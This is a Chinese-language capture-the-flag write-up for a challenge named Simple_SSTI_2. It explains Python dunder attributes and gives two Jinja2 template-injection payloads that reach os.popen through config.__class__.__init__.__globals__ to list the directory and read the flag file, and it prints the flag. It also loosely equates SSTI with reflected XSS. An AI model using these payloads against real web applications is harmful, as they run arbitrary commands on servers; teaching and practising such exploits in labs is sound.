Simple_SSTI_2
创始人
2024-05-28 13:44:59

Simple_SSTI_2

  • 前言
  • 一、python类的内置属性
  • 二、解题步骤
    • 1.查看当前目录
    • 2. 打开flag文件得到flag


前言

要想做到这个题,先要了解SSTI_2模板注入详解


一、python类的内置属性

先看如下一段代码:

class Restaurant:"""类"""def __init__(self, restaurant_name, cuisine_type):self.restaurant_name = restaurant_nameself.cuisine_type = cuisine_typedef describe_restaurant(self):print(f"{self.restaurant_name} -> {self.cuisine_type}")def open_restaurant(self):print('营业中')restaurant = Restaurant('7天酒店', 100)
print(restaurant.__init__)

什么是内置属性如上的__init__就是内置属性,可以这么认为,内置属性就是__英文字母__这样格式的字符串

  • class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类
  • init 初始化类,返回的类型是function
  • globals[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
  • os.popen() 方法用于从一个命令打开一个管道。
  • open() 方法用于打开一个文件,并返回文件对象
    python内置属性大全

二、解题步骤

1.查看当前目录

?flag = {{ config.__class__.__init__.__globals__['os'].popen('ls ').read() }}

在这里插入图片描述

为什么是这样的了?,为什么这样就可以查看当前目录了?,这又是什么东西?,好,你先输入?flag = ,会出现弹窗,但是这不是反射性xss,也可以说是反射型xss,但是flag不存在前端,反射性xss一般是获取前端数据

  • {{}}:类似于python的f"{变量}"解释变量
  • config.class.init.globals[‘os’]:配置的类的操作系统
  • popen(‘’):系统语句
  • read():读取语句类容

2. 打开flag文件得到flag

在Linux操作系统下,没有后缀的文件当作文本文件处理

?flag = {{ config.__class__.__init__.__globals__['os'].popen('cat flag ').read() }}

在这里插入图片描述

flag:flag{c77ca5c36d8baa014fa9bd96b8933719}


相关内容

热门资讯

苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...